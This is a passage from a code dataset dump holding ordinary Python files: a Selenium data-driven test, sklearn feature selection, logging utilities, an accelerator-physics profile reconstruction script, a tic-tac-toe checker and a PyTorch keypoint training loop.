organism.fitness\r\n\r\n        return result / size\r\n\r\ndef main():\r\n    x = Population(3)\r\n    contSim = True\r\n\r\n    while(contSim):\r\n        if x.bestOrganism().fitness == 0:\r\n            contSim = False\r\n            print(x.bestOrganism())\r\n            print(x.bestOrganism().cardNotation())\r\n        else:\r\n            x.advanceGeneration()\r\n\r\nmain()\r\n","sub_path":"GeneticCardSort.py","file_name":"GeneticCardSort.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"232325176","text":"# Data Driven Testing to load all the quotes of Gideon to our website's data baase\n\nimport XLUtils\nfrom selenium import webdriver\n\n# For now I will not use the executable_path to access the Chrome webdriver\ndriver = webdriver.Chrome(\"E:/Madhu Chandra K/Software Testing/Test Automation/chromedriver.exe\")\ndriver.implicitly_wait(2)\ndriver.maximize_window()\n\ndriver.get(\"https://www-5d9f3c97e4fb4f546e733d76.recruit.eb7.io\")\ndriver.find_element_by_id(\"show-modal\").click()\n\npath = \"C:/Users/madhu/Desktop/e-bot7/Gideon.xlsx\"   # Path of the excel file which has the Gideon quotes\n\nrows=XLUtils.getRowCount(path,'Quotes')\n\nfor r in range(2, rows+1):  # As our excel data sheet has only 3 columns we need only one for loop to access the data\n    author = XLUtils.readData(path, \"Quotes\", r, 1)\n    quotes = XLUtils.readData(path, \"Quotes\", r, 2)\n\n    driver.find_element_by_id(\"autorInput\").send_keys(author)\n    driver.find_element_by_id(\"quoteInput\").send_keys(quotes)\n    driver.find_element_by_xpath(\"/html/body/div/div/div/div[1]/div/div/div/div/div[3]/button[1]\").click()\n\n    driver.implicitly_wait(5)\n\n    if driver.title == \"e-bot7 - Sandbox\": # Since the success message after adding the quote is not displayd at the moment, I am using the title of the page for pass or fail assertion\n        print(\"Test is a pass\")\n        XLUtils.writeData(path, \"Quotes\", r, 3, \"Quote added successfully\") # To update the test result in the 3rd column in the same excel of the test is a pass\n    else:\n        print(\"Test is a fail\")\n        XLUtils.writeData(path, \"Quotes\", r, 3, \"Quote not added\") # To update the test result in the 3rd column in the same excel if the test is a fail\n\n    driver.find_element_by_id(\"show-modal\").click() # This is to add the next quote\n\ndriver.close()\ndriver.quit()\nprint(\"Test completed\")","sub_path":"DDT/DataDrivenTestCase.py","file_name":"DataDrivenTestCase.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"446507239","text":"# %load q03_rf_rfe/build.py\n# Default imports\nimport pandas as pd\nfrom collections import OrderedDict\n\ndata = pd.read_csv('data/house_prices_multivariate.csv')\n\nfrom sklearn.feature_selection import RFE\nfrom sklearn.ensemble import RandomForestClassifier\n\n\n# Your solution code here\ndef rf_rfe(data):\n    X = data.iloc[:,:-1]\n    y = data.iloc[:,-1]\n    names = data.columns\n    rfc = RandomForestClassifier()\n    i = int(len(X.columns)/2)\n    rfe = RFE(rfc,n_features_to_select= i  ,step=1)\n    rfe.fit(X,y)\n    d = OrderedDict(zip(names,rfe.ranking_))\n    top_features = []\n    for k,v in d.items():\n        if v == 1:\n            top_features.append(k)\n    return top_features\n\n\n","sub_path":"q03_rf_rfe/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"79287321","text":"import logging\nimport os.path\nimport time\n\n\"\"\"readme\n工具名称：\n    日志记录工具\n工具的功能：\n    实现日志记录到控制台或者文本\n工具的使用：\n    1、创建logger对象，此处提供两个对象的创建\n        1.1、创建默认的对象，同时打印到控制台和记录文本\n        Logger = MyLogger(\"log_name\").getLogger()\n        1.2、创建控制台打印对象，不输出文本\n        Logger = Console(\"log_name\").getLogger()\n        1.3、通过参数控制\n        MyLogger类保留了一个参数output，可设值为：both，file，console，控制日志的输出方式\n    2、使用对象输出日志\n        Logger.info(\"hello world\")\n    3、查看日志文件（如果有）\n        日志文件默认保存在工程目录下logs文件夹下\n\"\"\"\n\n\nclass MyLogger(logging.Logger):\n    \"\"\"自定义logger对象，继承自logging.Logger，实现文件和控制台的输出\"\"\"\n    # 首先重建一个logger对象\n    __logger = None\n\n    def __init__(self, name=\"logger\", output=\"both\", level=logging.DEBUG, console_level=logging.INFO, mode='a'):\n        self.__logger = logging.getLogger(name)\n        # 设置logger的等级\n        super().__init__(name)\n        # 等级的设定既可以直接设置大写的英文，也可以设置为logging模块的内置属性，python会自动进行转换判断\n        # 这里设置的是全局的level，后面可根据输出到文件和控制台设置相应的level\n        # 注意这各会设置最低的等级，后续的设置只能比这个高\n        self.__logger.setLevel(level)\n        formatter = logging.Formatter(\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s\")\n\n        if output in (\"both\", \"file\"):\n            # 组织一个带时间戳的字符串作为日志文件的名字,实现每天记录一个日志文件\n            date_time = time.strftime(\"%Y%m%d\", time.localtime(time.time()))\n            log_path_str = os.path.join(os.path.abspath(os.path.join(os.getcwd(), \"\")), \"logs\")\n            # python 在创建fileHandler时路径不存在会报FileNotFoundError，这里要新建下路径（而具体文件存不存在都时可以的，python会自动创建文件）\n            if not os.path.exists(log_path_str):\n                os.makedirs(log_path_str)\n\n            log_name = os.path.join(log_path_str, date_time + '.log')\n            # 创建一个logging输出到文件的handler并设置等级和输出格式\n            # mode属性用于控制写文件的模式，w模式每次程序运行都会覆盖之前的logger，而默认的是a则每次在文件末尾追加\n            fh = logging.FileHandler(log_name, mode)\n            fh.setLevel(level)\n            fh.setFormatter(formatter)\n            # 给logger对象添加handler\n            self.__logger.addHandler(fh)\n            fh.close()\n        if output in (\"both\", \"console\"):\n            # 如果需要同时输出到控制台\n            ch = logging.StreamHandler()\n            ch.setFormatter(formatter)\n            ch.setLevel(console_level)\n            self.__logger.addHandler(ch)\n            ch.close()\n\n    def getLogger(self):\n        return self.__logger\n\n    @property\n    def name(self):\n        return self.__logger.name\n\n    @name.setter\n    def name(self, name):\n        self.__logger.name = name\n\n\nclass ConsoleLogger(MyLogger):\n    def __init__(self, name=\"logger\", level=logging.DEBUG):\n        super().__init__(name=name, level=level, output=\"console\")\n","sub_path":"util/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":3501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"88462025","text":"import copy\nimport numpy as np\nimport argparse\nfrom scipy.constants import c\nfrom socket import gethostname\n\nimport lasing\nimport analysis\nimport tracking\nimport config\nimport streaker_calibration\nimport image_and_profile as iap\nimport myplotstyle as ms\nimport elegant_matrix\n\nnp.random.seed(0)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--noshow', action='store_true')\nparser.add_argument('--save', type=str)\nparser.add_argument('--recon-gap', action='store_true')\nargs = parser.parse_args()\n\nms.closeall()\n\nconfig.fontsize=9\n\ncharge = 180e-12\n\ntitle_fs = config.fontsize\nms.set_fontsizes(title_fs)\niap.absolute_ScreenProfile = True\n\nelegant_matrix.set_tmp_dir('~/tmp_elegant/')\n\n\nhostname = gethostname()\nif hostname == 'desktop':\n    data_dir2 = '/storage/data_2021-05-19/'\nelif hostname == 'pc11292.psi.ch':\n    data_dir2 = '/sf/data/measurements/2021/05/19/'\nelif hostname == 'pubuntu':\n    data_dir2 = '/mnt/data/data_2021-05-19/'\ndata_dir1 = data_dir2.replace('19', '18')\n\nblmeas_file = data_dir1+'119325494_bunch_length_meas.h5'\n\nn_streaker = 1\nplot_gap_recon = True\n\nif plot_gap_recon:\n    recon_gap = True\n\ngauss_kwargs = config.get_default_gauss_recon_settings()\ngauss_kwargs['charge'] = charge\ntracker_kwargs = config.get_default_tracker_settings()\n\nblmeas_file = data_dir1+'119325494_bunch_length_meas.h5'\nblmeas_profile = iap.profile_from_blmeas(blmeas_file, gauss_kwargs['tt_halfrange'], gauss_kwargs['charge'], 0, True)\nblmeas_profile.cutoff2(0.03)\nblmeas_profile.crop()\nblmeas_profile.reshape(1000)\n\nsc = streaker_calibration.StreakerCalibration('Aramis', 1, 10e-3, charge)\nfor scf in (data_dir1+'2021_05_18-23_07_20_Calibration_SARUN18-UDCP020.h5', data_dir1+'2021_05_18-23_32_12_Calibration_SARUN18-UDCP020.h5'):\n    sc.add_file(scf)\n\nsc.fit_type('centroid')\n\ntracker_kwargs = config.get_default_tracker_settings()\nrecon_kwargs = config.get_default_gauss_recon_settings()\nrecon_kwargs['charge'] = charge\ntracker = tracking.Tracker(**tracker_kwargs)\ntracker.set_simulator(sc.meta_data)\n\noffset_dict = sc.fit_type('centroid')\nstreaker_offset = offset_dict['streaker_offset']\nindex = -1\nmeas_screen = sc.get_meas_screens()[index]\nmeas_screen.cutoff2(tracker.screen_cutoff)\nmeas_screen.crop()\nmeas_screen.reshape(tracker.len_screen)\n\n\nif recon_gap:\n    gap_arr = np.array([10e-3-100e-6, 10e-3+0e-6])\n    use_offsets = [0, 1, 2, 3, 12, 13, 14, 15]\n    gap_recon_dict = sc.gap_reconstruction2(gap_arr, tracker, recon_kwargs, streaker_offset, gap0=10e-3, use_offsets=use_offsets)\n    print('assumed_bunch_duration %.2f' % (gap_recon_dict['beamsize']*1e15))\n    print('assumed_bunch_uncertainty %.2f' % (gap_recon_dict['beamsize_rms']*1e15))\n    delta_gap = gap_recon_dict['gap'] - 10e-3\n\n    gap_arr = gap_recon_dict['gap_arr']\n    beamsize_arr = gap_recon_dict['all_rms'].mean(axis=1)\n    beamsize_plus = gap_recon_dict['beamsize'] + gap_recon_dict['beamsize_rms']\n    beamsize_minus = gap_recon_dict['beamsize'] - gap_recon_dict['beamsize_rms']\n    sort = np.argsort(gap_arr)\n    gap_plus = np.interp(beamsize_plus, beamsize_arr[sort], gap_arr[sort])\n    gap_minus = np.interp(beamsize_minus, beamsize_arr[sort], gap_arr[sort])\n    print('Gap plus / minus, %.2f, %.2f' % (gap_plus*1e6, gap_minus*1e6))\n\n\nelse:\n    delta_gap = -63e-6\nprint('Delta gap %i um' % (delta_gap*1e6))\n\n\ntracker_kwargs = config.get_default_tracker_settings()\nrecon_kwargs = config.get_default_gauss_recon_settings()\ntracker = tracking.Tracker(**tracker_kwargs)\ntracker.set_simulator(sc.meta_data)\n\nrecon_kwargs['gaps'] = [10e-3, 10e-3+delta_gap]\nrecon_kwargs['beam_offsets'] = [0., -(sc.offsets[index] - streaker_offset)]\nrecon_kwargs['n_streaker'] = 1\nrecon_kwargs['meas_screen'] = meas_screen\nrecon_kwargs['charge'] = charge\n\n\nhspace, wspace = 0.40, 0.35\nfig = ms.figure('Current profile reconstruction', figsize=(13, 6))\nms.plt.subplots_adjust(hspace=hspace, wspace=wspace)\nsubplot = ms.subplot_factory(2, 4, grid=False)\nsp_ctr = 1\n\n\nwhere0 = np.argwhere(sc.offsets == 0).squeeze()\nxlim = -3e-3, 1e-3\nylim = 1e-3, 5e-3\nfor img_index, title in [(index, '(b) Streaked'), (where0, '(a) Unstreaked')][::-1]:\n    raw_image = sc.plot_list_image[img_index]\n\n    x_axis = sc.plot_list_x[img_index]\n    y_axis = sc.y_axis_list[img_index]\n\n    img = iap.Image(raw_image, x_axis, y_axis)\n    sp_img = subplot(sp_ctr, title=title, xlabel='x (mm)', ylabel='y (mm)', title_fs=title_fs)\n    sp_ctr += 1\n    img.plot_img_and_proj(sp_img, xlim=xlim, ylim=ylim, plot_gauss=False)\n    sumx = raw_image.sum(axis=0)\n    prof = iap.AnyProfile(x_axis, sumx-np.min(sumx))\n    prof.cutoff2(3e-2)\n    prof.crop()\n    prof.reshape(5e3)\n    x_rms = prof.rms()\n    x_gf = prof.gaussfit.sigma\n    distance = sc.gap0/2. - abs(sc.offsets[img_index])\n    print('%s RMS: %i um; Gauss sigma: %i um, d=%i um' % (title, round(x_rms*1e6), round(x_gf*1e6), round(distance*1e6)))\n    if img_index == where0:\n        unstreaked_beamsize = x_gf\n\nsp_profile, sp_screen = [subplot(x+3, grid=False) for x in range(2)]\nsp_opt = sp_moments = sp_dummy = lasing.dummy_plot()\nsp_ctr += 2\n\nfor sp, title, xlabel, ylabel in [\n        (sp_profile, '(c) Profile reconstruction', 't (fs)', 'I (kA)'),\n        (sp_screen, '(d) Screen reconstruction', 'x (mm)', config.rho_label),\n        #(sp_opt, 'Optimization', 'Gaussian $\\sigma$ (fs)', 'Opt value'),\n        #(sp_moments, 'Transverse moments', 'Gaussian $\\sigma$ (fs)', r'$\\left|\\langle x \\rangle\\right|$, $\\sqrt{\\langle x^2\\rangle}$ (mm)'),\n        ]:\n    sp.clear()\n    sp.set_title(title, fontsize=title_fs)\n    sp.set_xlabel(xlabel)\n    sp.set_ylabel(ylabel)\n\nplot_handles = sp_screen, sp_profile, sp_opt, sp_moments\n\ntracker.gauss_prec=1e-15\n\noutp = analysis.current_profile_rec_gauss(tracker, recon_kwargs, do_plot=False)\nanalysis.plot_rec_gauss(outp, plot_handles, [blmeas_profile], both_zero_crossings=False, skip_indices=(2,))\ntracker.gauss_prec=0.5e-15\n\n#sp_screen.get_legend().remove()\n#sp_profile.get_legend().remove()\n\n\nsp_screen_pos = subplot(sp_ctr, title='(e) Distance scan', xlabel='x (mm)', ylabel=config.rho_label)\nsp_ctr += 1\nsp_profile_pos = subplot(sp_ctr, title='(f) Profile comparison', xlabel='t (fs)', ylabel='I (kA)')\nsp_ctr += 1\n\nplot_handles = None, (lasing.dummy_plot(), sp_screen_pos, lasing.dummy_plot(), sp_profile_pos)\nbeam_offsets, _ = sc.reconstruct_current(tracker, copy.deepcopy(recon_kwargs), force_gap=recon_kwargs['gaps'][1])\nsc.plot_reconstruction(plot_handles=plot_handles, blmeas_profile=blmeas_profile, max_distance=300e-6)\nsc.plot_reconstruction(plot_handles=None, blmeas_profile=blmeas_profile, max_distance=np.inf)\n\n#sp_screen_pos.get_legend().remove()\n#sp_profile_pos.get_legend().remove()\n\n\n\n\ngap = recon_kwargs['gaps'][1]\nbeam_offset = recon_kwargs['beam_offsets'][-1]\nstruct_length = 1\n\n\ngauss_kwargs = config.get_default_gauss_recon_settings()\ntracker_kwargs = config.get_default_tracker_settings()\nn_emittance = 300e-9\ntracker_kwargs['n_emittances'] = [n_emittance, n_emittance]\n\ntracker = tracking.Tracker(**tracker_kwargs)\n\n\n\n#blmeas_profile.plot_standard(sp_profile_pos, color='black', ls='--')\n\n#ms.figure('Resolution', figsize=(10, 8))\n#ms.plt.subplots_adjust(hspace=0.4, wspace=0.8)\n#subplot = ms.subplot_factory(2,3, grid=False)\nms.plt.figure(fig.number)\n\n#image_file = data_dir1+'2021_05_18-21_02_13_Lasing_False_SARBD02-DSCR050.h5'\n#image_dict = h5_storage.loadH5Recursive(image_file)\n#meta_data1 = image_dict['meta_data_begin']\n\n#images = image_dict['pyscan_result']['image'].astype(float)\n#x_axis = image_dict['pyscan_result']['x_axis_m'] - screen_x0\n#y_axis = image_dict['pyscan_result']['y_axis_m']\n#projx = images.sum(axis=-2)\n#median_index = misc.get_median(projx, method='mean', output='index')\n#raw_image1 = images[median_index]\n#raw_image1 -= np.median(raw_image1)\n#image1 = iap.Image(raw_image1, x_axis, y_axis)\n\n\n#strong_streaking_file = data_dir1+'2021_05_18-23_43_39_Lasing_False_SARBD02-DSCR050.h5'\n#strong_streaking_dict = h5_storage.loadH5Recursive(strong_streaking_file)\n#meta_data2 = strong_streaking_dict['meta_data_begin']\n#\n#strong_calib_file = data_dir1+'2021_05_18-23_32_12_Calibration_SARUN18-UDCP020.h5'\n#strong_calib_dict = h5_storage.loadH5Recursive(strong_calib_file)\n#screen_x0 = strong_calib_dict['meta_data']['screen_x0']\n#index = np.argwhere(strong_calib_dict['meta_data']['offsets'] == 0)\n#raw_image = ((strong_calib_dict['raw_data']['pyscan_result']['image'])[index,0]).astype(float).squeeze()\n#raw_image2 = ((strong_calib_dict['raw_data']['pyscan_result']['image'])[0,0]).astype(float).squeeze()\n#x_axis = strong_calib_dict['raw_data']['pyscan_result']['x_axis_m'] - screen_x0\n#y_axis = strong_calib_dict['raw_data']['pyscan_result']['y_axis_m']\n#calib_image2 = iap.Image(raw_image, x_axis, y_axis)\n#image2 = iap.Image(raw_image2, x_axis, y_axis)\n\n\n\nmeta_data = sc.meta_data\ntracker.set_simulator(meta_data)\nblmeas_profile.energy_eV = tracker.energy_eV\ntracker.override_quad_beamsize = False\n#tracker.n_emittances = [200e-9, 200e-9]\n\nif plot_gap_recon:\n    sp_gap = subplot(sp_ctr, title='(g) Gap reconstruction', xlabel='$\\Delta$ d ($\\mu$m)', ylabel='rms bunch duration (fs)', title_fs=title_fs)\n    sp_profile1 = sp_dummy\nelse:\n    sp_gap = subplot(sp_ctr, title='(g) Profile and wake', xlabel='t (fs)', ylabel='Wake (MV/m)', title_fs=title_fs)\n    sp_profile1 = sp_gap.twinx()\nsp_ctr += 1\n\nsp_res = subplot(sp_ctr, title='(h) Resolution', xlabel='t (fs)', ylabel='R (fs)', title_fs=title_fs)\nsp_ctr += 1\nsp_profile = sp_res.twinx()\n\n\nblmeas_profile.plot_standard(sp_profile1, color='black', ls='--')\nblmeas_profile.plot_standard(sp_profile, color='black', ls='--', label='I(t)')\n\nsp_profile1.set_yticklabels([])\nsp_profile1.set_yticks([])\nsp_profile.set_yticks([])\n\nfor ctr, (distance, color_ctr) in enumerate([(231e-6, 2), (294e-6, 0)]):\n    beam_offset = gap/2. - distance\n    wake_dict = blmeas_profile.calc_wake(gap, beam_offset, struct_length)\n    wake_t = wake_dict['input']['charge_xx']/c + blmeas_profile.time.min()\n    wake_E = wake_dict['dipole']['wake_potential']\n    if not plot_gap_recon:\n        color = sp_gap.plot(wake_t*1e15, np.abs(wake_E)/1e6, label='%i' % (distance*1e6))[0].get_color()\n    else:\n        color = ms.plt.rcParams['axes.prop_cycle'].by_key()['color'][color_ctr]\n\n    tracker.n_particles = int(200e3)\n    emittances = [tracker.fit_emittance(unstreaked_beamsize, 20e-6, 200e-15), 200e-9]\n    emittances = [200e-9]\n    print('Emittance X set to %i nm' % (tracker.n_emittances[0]*1e9))\n    res_dicts = []\n    for emit_ctr, n_emittance in enumerate(emittances):\n        for q_ctr, quad_wake in enumerate([True, False]):\n            ls = [None, 'dotted'][q_ctr]\n            tracker.n_emittances[0] = n_emittance\n            tracker.quad_wake = quad_wake\n            res_dict = iap.calc_resolution(blmeas_profile, gap, beam_offset, struct_length, tracker, 1)\n            res = res_dict['resolution']\n            res_t = res_dict['time']\n\n            if q_ctr == 0:\n                label = '%i' % (round(distance*1e6))\n            else:\n                label = None\n            mask = res<10e-15\n            sp_res.plot(res_t[mask]*1e15, res[mask]*1e15, label=label, color=color, ls=ls)\n            res_dicts.append(res_dict)\n\nsp_res.set_ylim(0, 10)\n#sp_res.legend(title='d ($\\mu$m)', loc='upper right')\nms.comb_legend(sp_res, sp_profile, title='d ($\\mu$m)', loc='upper right')\n\nif recon_gap:\n    if plot_gap_recon:\n        plot_handles = (sp_gap, sp_dummy, sp_dummy, sp_dummy)\n    else:\n        plot_handles = None\n    sc.plot_gap_reconstruction(gap_recon_dict, plot_handles=plot_handles, exclude_gap_ctrs=(2,))\n    sc.plot_gap_reconstruction(gap_recon_dict)\n    old_lim = sp_gap.get_xlim()\n    sp_gap.set_xlim([old_lim[0], old_lim[1]+80])\n\nif not args.noshow:\n    ms.show()\n\nif args.save:\n    ms.saveall(args.save, hspace, wspace, ending='.pdf')\n\n","sub_path":"063f_current_recon.py","file_name":"063f_current_recon.py","file_ext":"py","file_size_in_byte":11780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"5475729","text":"# -*- coding:utf-8 -*-\n# python version= python3.X\n# code lines count about 60\nimport os\nimport logging\nimport datetime\n\n\nclass _MyLoggerMaker(object):\n    \"\"\"this is a logger maker class, to use function 'create_logger' you will get a special logger\n        when this logger work ,it will create the dir by the primary 'name' you send in.\n        the log file name is define by date auto and the primary 'name'.\n        last ,we don't support console printer. just file writer.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\" there is the config information ,after you create an object you can also change it\n            by self.attribute name. And then through by function 'create_logger',you can get the\n            logger you need.\n        \"\"\"\n        self.level = logging.INFO\n        self.format = '%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s'\n        self.datefmt = '%a, %d %b %Y %H:%M:%S'\n        self.filemode = 'w'\n\n    def _create_logger(self, name):\n        \"\"\"\n        this is a function to help you get a logger you need.\n        :param name:\n        :return:logger object\n        \"\"\"\n        date = datetime.date.today()\n        log_dir = os.path.dirname(os.path.dirname(__file__)) + '/logs/{}'.format(name)\n        if not os.path.exists(log_dir):\n            os.mkdir(log_dir)\n        log_path = os.path.join(log_dir, '{}:{}.log'.format(name, date))\n        # print(log_path)\n        # create logger handler to achieve write different log information into different log file\n        handler = logging.FileHandler(log_path)\n        logging.basicConfig(level=self.level,\n                            format=self.format,\n                            datefmt=self.datefmt,\n                            # filename=log_path,\n                            filemode=self.filemode)\n        handler_format = logging.Formatter(fmt=self.format, datefmt=self.datefmt)\n        handler.setFormatter(handler_format)\n\n        logger = logging.getLogger(name)\n        # add handler into logger\n        logger.addHandler(handler)\n        return logger\n\n\n_maker = _MyLoggerMaker()\n\nvideologger = _maker._create_logger(\"video\")\nmusiclogger = _maker._create_logger(\"music\")\nnovellogger = _maker._create_logger(\"novel\")\n\n\nif __name__ == '__main__':\n    # maker = MyLoggerMaker()\n    # mylogger = maker.create_logger(\"default\")\n    # mylogger.info(\"xixixixxi\")\n    pass\n","sub_path":"customTools/loggerHome.py","file_name":"loggerHome.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"95201290","text":"__author__ = 'KoicsD'\n\n\ndef det(num_pairs):\n    return num_pairs[0][0] * num_pairs[1][1] - num_pairs[0][1] * num_pairs[1][0]\n\ndef diff(num_pair1, num_pair2):\n    return (num_pair1[0] - num_pair2[0], num_pair1[1] - num_pair2[1])\n\ndef pos_vectors(num_pairs, origin):\n    ret = []\n    for pair in num_pairs:\n        ret.append(diff(pair, origin))\n    return ret\n\ndef rmv(lst, to_remove):\n    ret = []\n    for element in lst:\n        if element != to_remove:\n            ret.append(element)\n    return ret\n\ndef is_winner(num_pairs):\n    for pair in num_pairs:\n        new_pairs = rmv(num_pairs, pair)\n        positions = pos_vectors(new_pairs, pair)\n        for i in range(len(positions)):\n            for j in range(i):\n                if det((positions[i], positions[j])) == 0:\n                    return True\n    return False\n\ndef get_num_pairs(game_result, ch):\n    ret = []\n    for i in range(3):\n        for j in range(3):\n            if game_result[i][j] == ch:\n                ret.append((i, j))\n    return ret\n\ndef checkio(game_result):\n    x_pairs = get_num_pairs(game_result, \"X\")\n    o_pairs = get_num_pairs(game_result, \"O\")\n    if is_winner(x_pairs):\n        return \"X\"\n    elif is_winner(o_pairs):\n        return \"O\"\n    else:\n        return \"D\"\n\nif __name__ == '__main__':\n    print(checkio([\n        \"OO.\",\n        \"XOX\",\n        \"XOX\"]))\n\n    #These \"asserts\" using only for self-checking and not necessary for auto-testing\n    assert checkio([\n        \"X.O\",\n        \"XX.\",\n        \"XOO\"]) == \"X\", \"Xs wins\"\n    assert checkio([\n        \"OO.\",\n        \"XOX\",\n        \"XOX\"]) == \"O\", \"Os wins\"\n    assert checkio([\n        \"OOX\",\n        \"XXO\",\n        \"OXX\"]) == \"D\", \"Draw\"\n    assert checkio([\n        \"O.X\",\n        \"XX.\",\n        \"XOO\"]) == \"X\", \"Xs wins again\"\n","sub_path":"tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"512518685","text":"def l1_reg(model):\n  \"\"\"\n    Inputs: Pytorch model\n    This function calculates the l1 norm of the all the tensors in the model\n  \"\"\"\n  l1 = 0.0\n\n  for param in model.parameters():\n    l1 += torch.sum(torch.abs(param))\n\n  return l1\n\n# add event to airtable\natform.add_event('Coding Exercise 1.1: L1 Regularization')\n\nset_seed(seed=SEED)\n## uncomment to test\nnet = nn.Linear(20, 20)\nprint(f\"L1 norm of the model: {l1_reg(net)}\")","sub_path":"tutorials/W1D5_Regularization/solutions/W1D5_Tutorial2_Solution_f9f318de.py","file_name":"W1D5_Tutorial2_Solution_f9f318de.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"44283539","text":"conf_file = \"NeutronBrain.conf\"\ndef Del_Space(x):\n    return x.rstrip(\" \").strip(\" \")\n\ndef Read_Conf(key=\"ALL\"):\n    with open(conf_file, \"r\") as oke:\n        oke = oke.read()\n        conf = {}\n        temp0 = oke.split(\"\\n\")\n        #remove space and seperate \"=\"    \n        temp0 = list(filter(lambda x: not \"#\" in x, map(lambda x: x.rstrip(\" \").strip(\" \"), temp0))) \n        for i in temp0:\n            if (not \"=\" in i):\n                continue\n            a = i.split(\"=\")\n            conf[Del_Space(a[0])] = Del_Space(a[1])\n        if (key==\"ALL\"):\n            return conf\n        else:\n            try:\n                return conf[key]\n            except Exception as err:\n             print(err)\ndef Read_Conf_List(key=\"ALL\"):\n    return list(map(lambda x: x.replace(\" \", \"\"), Read_Conf(key).split(\",\")))\n","sub_path":"NeutronBrain_Files/NeutronBrain_API/conf/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"231507028","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\nimport time\nimport copy\nfrom tqdm import tqdm\n\n\ndef rmse_score(true, pred):\n    return torch.sqrt(torch.mean((true - pred) ** 2))\n\n\ndef warmup_lr_scheduler(optimizer, warmup_iters, warmup_factor):\n    def f(x):\n        if x >= warmup_iters:\n            return 1\n        alpha = float(x) / warmup_iters\n        return warmup_factor * (1 - alpha) + alpha\n\n    return torch.optim.lr_scheduler.LambdaLR(optimizer, f)\n\n\nWARMUP_EPOCH = 1\ndef train_one_epoch(model, opt, dataloader, loss_fn, device, epoch, max_batch_size):\n    model.train()\n    losses = {\"mse\": 0}\n\n    lr_scheduler = None\n    if epoch < WARMUP_EPOCH:\n        warmup_factor = 1. / 1000\n        warmup_iters = min(1000, len(dataloader) - 1)\n        lr_scheduler = warmup_lr_scheduler(opt, warmup_iters, warmup_factor)\n\n    for imgs, keypoints in tqdm(dataloader):\n        imgs = imgs.float().to(device)[: max_batch_size]\n        keypoints = torch.from_numpy(keypoints).float().to(device)[: max_batch_size]\n        keypoints = torch.cat([keypoints, keypoints, keypoints])\n\n        opt.zero_grad()\n        pred = model(imgs)\n        pred = torch.cat(pred)\n        if loss_fn is not None:\n            loss = loss_fn(pred, keypoints)\n        else:\n            loss = F.mse_loss(pred, keypoints)\n        loss.backward()\n        opt.step()\n\n        losses[\"mse\"] += loss.item()\n\n        if lr_scheduler is not None:\n            lr_scheduler.step()\n    losses[\"mse\"] /= len(dataloader)\n    return losses\n\n\n@torch.no_grad()\ndef evaluate(model, dataloader, loss_fn, device, max_batch_size):\n    model.train()\n    losses = {\"mse\": 0}\n\n    for imgs, keypoints in tqdm(dataloader):\n        imgs = imgs.float().to(device)[: max_batch_size]\n        keypoints = torch.from_numpy(keypoints).float().to(device)[: max_batch_size]\n        keypoints = torch.cat([keypoints, keypoints, keypoints])\n\n        pred = model(imgs)\n        pred = torch.cat(pred)\n        if loss_fn is not None:\n            loss = loss_fn(pred, keypoints)\n        else:\n            loss = F.mse_loss(pred, keypoints)\n\n        losses[\"mse\"] += loss.item()\n\n    losses[\"mse\"] /= len(dataloader)\n    return losses\n\n\nSAVE_INTERVAL = 5\ndef train_model(model, opt, scheduler, loss_fn, device, save_dir, start_epoch, end_epoch,\n                train_dataloader, valid_dataloader, max_batch_size):\n    since = time.time()\n    best_model_wts = copy.deepcopy(model.state_dict())\n    best_loss = 100.\n\n    train_losses = {\"mse\": []}\n    valid_losses = {\"mse\": []}\n\n    #cudnn.benchmark = True\n    for epoch in range(start_epoch, end_epoch + 1):\n        print(\"\\n\" + \"=\" * 40)\n        print(\"Epoch {}/{}\".format(epoch, end_epoch))\n\n        train_loss = train_one_epoch(model, opt, train_dataloader, loss_fn, device, epoch, max_batch_size)\n        print(\"\\nTrain Loss\")\n        print(\"\\t mse: {:.6f}\".format(train_loss[\"mse\"]))\n        for key in train_losses:\n            train_losses[key].append(train_loss[key])\n\n        if scheduler is not None:\n            scheduler.step()\n\n        valid_loss = evaluate(model, valid_dataloader, loss_fn, device, max_batch_size)\n        print(\"\\nValid Loss\")\n        print(\"\\t mse: {:.6f}\".format(valid_loss[\"mse\"]))\n        for key in valid_losses:\n            valid_losses[key].append(valid_loss[key])\n\n        if valid_loss[\"mse\"] < best_loss:\n            best_loss = valid_loss[\"mse\"]\n            best_model_wts = copy.deepcopy(model.state_dict())\n            if epoch % SAVE_INTERVAL == 0:\n                torch.save(best_model_wts, save_dir)\n\n    time_elapsed = time.time() - since\n    print(\"\\nTraining complete in {}m {:0f}s\".format(time_elapsed // 60, time_elapsed % 60))\n    print(\"Best val loss: {:.4f}\".format(best_loss))\n\n    torch.save(best_model_wts, save_dir)\n    return train_losses, valid_losses\n","sub_path":"train/keypoint_train.py","file_name":"keypoint_train.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
